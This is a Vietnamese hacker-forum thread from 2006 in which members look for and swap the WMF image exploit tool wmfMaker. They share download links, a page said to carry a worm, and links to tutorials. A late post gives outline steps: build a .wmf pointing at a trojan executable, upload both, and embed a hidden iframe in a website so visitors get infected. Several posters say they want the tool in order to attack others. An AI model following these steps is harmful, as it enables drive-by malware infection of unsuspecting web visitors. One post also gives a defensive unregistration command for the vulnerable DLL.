banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận virus, trojan, spyware, worm... có ai biết dùng exploit WMF ko?  XML
  [Question]   có ai biết dùng exploit WMF ko? 09/08/2006 05:53:00 (+0700) | #1 | 13341
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
có ai biết dùng exploit WMF ko? mình không hiểu cái này lắm, (các bồ chỉ cần cho tool là quý lắm rồi)
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 09/08/2006 09:02:08 (+0700) | #2 | 13399
[Avatar]
nhocbmt
Member

[Minus]    0    [Plus]
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
[Profile] [PM] [WWW]
www.chemical.com.vn/alonelove/tinhyeu.html <---- nghiên cứu thằng này đi bạn smilie
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 09/08/2006 22:22:51 (+0700) | #3 | 13512
[Avatar]
jamesmr
Member

[Minus]    0    [Plus]
Joined: 03/03/2006 06:30:26
Messages: 153
Offline
[Profile] [PM]

xuanson wrote:
có ai biết dùng exploit WMF ko? mình không hiểu cái này lắm, (các bồ chỉ cần cho tool là quý lắm rồi) 

cho tôi email tôi gửi cho.
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 02:07:22 (+0700) | #4 | 13622
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
Cảm ơn bạn nhiều
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 02:17:24 (+0700) | #5 | 13623
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]

nhocbmt wrote:
www.chemical.com.vn/alonelove/tinhyeu.html <---- nghiên cứu thằng này đi bạn smilie 


Mình thấy đoạn đầu nó dùng để download file XXX.WMF nhưng mình chưa hiểu dạng file này lắm (chưa sờ lần nào) mình đang vọc tiếp
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 02:20:33 (+0700) | #6 | 13624
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
mình download được file đấy rồi nó cũng nằm trong cùng sever nên không phải viết hết đườn dẫn đúng kô
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 02:48:48 (+0700) | #7 | 13628
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
nhưng bây giờ mình thấy nó biến mất đâu ấy, vừa rê chuột định đổi tên thì nhó nhảy luôn biết thế chỉnh rename trong phần download luôn ngu wa. theo các bạn vậy có sao ko, nhưng ngày nào chưa thấy no thì minh còn chưa ngủ ngon được
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 02:49:17 (+0700) | #8 | 13629
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
theo các bạn vậy có sao không
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 10/08/2006 11:05:00 (+0700) | #9 | 13736
[Avatar]
jamesmr
Member

[Minus]    0    [Plus]
Joined: 03/03/2006 06:30:26
Messages: 153
Offline
[Profile] [PM]

xuanson wrote:
nhưng bây giờ mình thấy nó biến mất đâu ấy, vừa rê chuột định đổi tên thì nhó nhảy luôn biết thế chỉnh rename trong phần download luôn ngu wa. theo các bạn vậy có sao ko, nhưng ngày nào chưa thấy no thì minh còn chưa ngủ ngon được 

cái nì ko có sao cả chỉ khai thác lỗi của explorer thôi.
bạn dùng lệnh sau sẽ ko còn bị nữa:
regsvr32 -u %windir%\system32\shimgvw.dll
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 11/08/2006 08:24:37 (+0700) | #10 | 13954
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]

jamesmr wrote:

xuanson wrote:
có ai biết dùng exploit WMF ko? mình không hiểu cái này lắm, (các bồ chỉ cần cho tool là quý lắm rồi) 

cho tôi email tôi gửi cho. 

bạn send cho tôi 1 bản với: mgdaubo@yahoo.com
mà sao bạn ko upload lên luôn ?
[Up] [Print Copy]
  [Question]   Re: có ai biết dùng exploit WMF ko? 11/08/2006 09:18:17 (+0700) | #11 | 13963
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]
tìm mãi mới được cái wmfMaker này, mà mới unzip ra là bị anti nó kill luôn rồi, hix. Sau đó disable cái anti rồi chạy wmfMaker thì... restart máy. Bạn nào có cho mình xin
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 11/08/2006 13:31:31 (+0700) | #12 | 14018
kaisai
Member

[Minus]    0    [Plus]
Joined: 08/07/2006 23:13:44
Messages: 8
Offline
[Profile] [PM]
mrneo8x@gmail.com nếu có cho mình xin,để về mổ xẻ nghiên cứu.Thank nha miễn sao đừng gắn con virut nào vào đó nha.Mình ớn lắm rồi
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 12/08/2006 04:48:50 (+0700) | #13 | 14212
fjk
Member

[Minus]    0    [Plus]
Joined: 15/07/2006 23:37:45
Messages: 27
Offline
[Profile] [PM]
Bác nào có thì share đi, gắn virus hay backdoor gì gì vào cũng đc miễn là tui làm đc nó. THanks! sieusaodubi@gmail.com
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 12/08/2006 10:31:29 (+0700) | #14 | 14304
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
ah quen mat khong noi ro, luc dau minh cam on hai bạn đầu tiên trả lời giúp mình, chứ minh chưa đưa email cho bạn jamesmr đâu, vẫn vọc cái www.chemical.com.vn/alonelove/tinhyeu.html mà bạn nhocbmt cho thôi, các bạn cẩn thận nó co Vlove đấy nhé.
dùng wmfMaker mà bị restart à, mình chưa dùng nhưng có vẻ khả khi wa (mình có giống tào tháo không nhỉ)
các bạn vọc đến đâu rồi?

cái này tuy hơi ngy hiểm nhưng rất hay, mọi người không đề phòng khi xem ảnh mà

[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 12/08/2006 10:32:07 (+0700) | #15 | 14305
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
Cảm ơn tất cả mọi người ^_^
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 12/08/2006 11:06:50 (+0700) | #16 | 14316
xuanson
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 16:46:06
Messages: 50
Offline
[Profile] [PM]
các bạn vọc thử link này xem nó bảo đó là WMFmaker nhưng nó có hình "không lành mạnh" nên không yên tâm lắm http://www.underground.ag/downloads/Exploits/wmfmaker.zip
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 13/08/2006 01:10:24 (+0700) | #17 | 14462
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]

xuanson wrote:
ah quen mat khong noi ro, luc dau minh cam on hai bạn đầu tiên trả lời giúp mình, chứ minh chưa đưa email cho bạn jamesmr đâu, vẫn vọc cái www.chemical.com.vn/alonelove/tinhyeu.html mà bạn nhocbmt cho thôi, các bạn cẩn thận nó co Vlove đấy nhé.
dùng wmfMaker mà bị restart à, mình chưa dùng nhưng có vẻ khả khi wa (mình có giống tào tháo không nhỉ)
các bạn vọc đến đâu rồi?

cái này tuy hơi ngy hiểm nhưng rất hay, mọi người không đề phòng khi xem ảnh mà

 

Mình chưa hiểu bạn đang vọc gì cái www.chemical.com.vn/alonelove/tinhyeu.html đó, mình thấy code html của nó chỉ có mỗi câu <iframe src="xxx.wmf"></iframe> là đáng chú ý. Mà muốn vọc wmf thì phải có công cụ gì chứ?
Mình muốn vọc gì thì cứ ra tiệm net, đừng mở yahoo, vọc chán thì thôi, sợ gì virus, trojan đâu.
Còn cái wmfmaker mình chạy được rồi, ko bị restart nữa, nhưng mà nó chỉ có mỗi 1 cái màn hình dos, ko biết cách xài thế nào cả
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 13/08/2006 01:24:30 (+0700) | #18 | 14464
bm007sky
Member

[Minus]    0    [Plus]
Joined: 29/07/2006 19:07:29
Messages: 3
Offline
[Profile] [PM]
anh em cẩn thận link www.chemical.com.vn/alonelove/tinhyeu.html cua? nhócbmt co' virus
anh em luu y' nha
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 13/08/2006 01:39:14 (+0700) | #19 | 14475
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]
tìm mãi mới được cái tutorial sử dụng wmfmaker nè,nhưng nó dùng tiếng gì á,ko phải tiếng Anh, bó tay. Pa nào ngâm cứu thử xem:
http://foro.elhacker.net/index.php/topic,104808.0.html
http://mousehack.blogspot.com/2006/01/mini-tutorial-del-uso-de-wmfmaker.html#links
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 13/08/2006 04:04:15 (+0700) | #20 | 14536
[Avatar]
nhocbmt
Member

[Minus]    0    [Plus]
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
[Profile] [PM] [WWW]
Lưu ý : cái chemical.com.vn ko phải của tui ! híc ! mà tui thấy nó có worm dính vào wmf nên kêu bạn gì gì đó nghiên cứu thữ thôi ! Chứ các bác cứ kêu của tui thế này lỡ C15 mà để ý thì mệt lắm smilie( huhuhuhu !
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 15/08/2006 03:49:16 (+0700) | #21 | 15001
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]
sao ko ai cho tool hết vậy, bí mấy ngày nay
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 17/08/2006 03:24:10 (+0700) | #22 | 15481
[Avatar]
com_hacker
Member

[Minus]    0    [Plus]
Joined: 27/06/2006 12:55:55
Messages: 34
Location: Đâu???
Offline
[Profile] [PM] [WWW] [Yahoo!]
Làm sao có được evilshellcode.bin bây giờ??
Ai đã dùng rồi xin cho hướng dẫn nha. Tìm mãi mà không có cách nào cả. Hic...
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 22/08/2006 02:06:14 (+0700) | #23 | 16749
Kevin Duong
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 19:14:52
Messages: 29
Offline
[Profile] [PM]
Hic... Tui thử dùng teleport download toàn bộ website này thì thấy nó set mặc định Homepage để kiếm tiền qua paypopoup... Disable toàn bộ Regedit và Task Manager...
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 22/08/2006 02:25:47 (+0700) | #24 | 16751
nhutdm
Elite Member

[Minus]    0    [Plus]
Joined: 02/06/2003 12:40:50
Messages: 45
Offline
[Profile] [PM] [WWW]
Hic... Hay thật đó !!!
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 22/08/2006 03:20:31 (+0700) | #25 | 16761
Kevin Duong
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 19:14:52
Messages: 29
Offline
[Profile] [PM]
Nếu đọc không hiểu thì vào http://babelfish.altavista.com/ để dịch sang tiếng Anh đi...
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 23/08/2006 00:10:54 (+0700) | #26 | 16998
[Avatar]
nhocbmt
Member

[Minus]    0    [Plus]
Joined: 26/06/2006 17:55:21
Messages: 75
Location: Ban Mê City
Offline
[Profile] [PM] [WWW]
www.hcegroup.biz đã có 1 bài hướng dẫn cách tạo file wmf và gắn vào web rồi á smilie

[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 23/08/2006 01:13:13 (+0700) | #27 | 17025
nhutdm
Elite Member

[Minus]    0    [Plus]
Joined: 02/06/2003 12:40:50
Messages: 45
Offline
[Profile] [PM] [WWW]
Hướng dẫn chi tiết lắm đó... Cảm ơn bạn nhiều nha !!!
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 23/08/2006 09:43:07 (+0700) | #28 | 17189
mgdaubo
Member

[Minus]    0    [Plus]
Joined: 10/04/2006 03:24:04
Messages: 44
Offline
[Profile] [PM]
đúng, hướng dẫn rất chi tiết, mình đã làm y chang vậy, mà kết quả vẫn ko được, có download file wmf nhưng ko thấy load file exe mình cần run gì cả
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 24/08/2006 00:07:25 (+0700) | #29 | 17344
[Avatar]
jamesmr
Member

[Minus]    0    [Plus]
Joined: 03/03/2006 06:30:26
Messages: 153
Offline
[Profile] [PM]

mgdaubo wrote:
đúng, hướng dẫn rất chi tiết, mình đã làm y chang vậy, mà kết quả vẫn ko được, có download file wmf nhưng ko thấy load file exe mình cần run gì cả 

khà khà chắc là làm sai zì rùi.
[Up] [Print Copy]
  [Question]   có ai biết dùng exploit WMF ko? 24/08/2006 03:23:14 (+0700) | #30 | 17400
nhutdm
Elite Member

[Minus]    0    [Plus]
Joined: 02/06/2003 12:40:50
Messages: 45
Offline
[Profile] [PM] [WWW]
Đánh lệnh như hướng dẫn vào là địa chỉ của tập tin exe làm trojan đó rồi ấn Enter... Mọi thứ hoàn tất thì đổi tên tập tin xXx.* thành xXx.wmf. Tiếp theo thì tải tập tin exe lên theo địa chỉ đã nhập rồi đính đoạn mã frame vào website của bạn là xong thôi. Lưu Ý: Thêm vào đoạn mã thông số của frame để nó nhỏ lại...
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|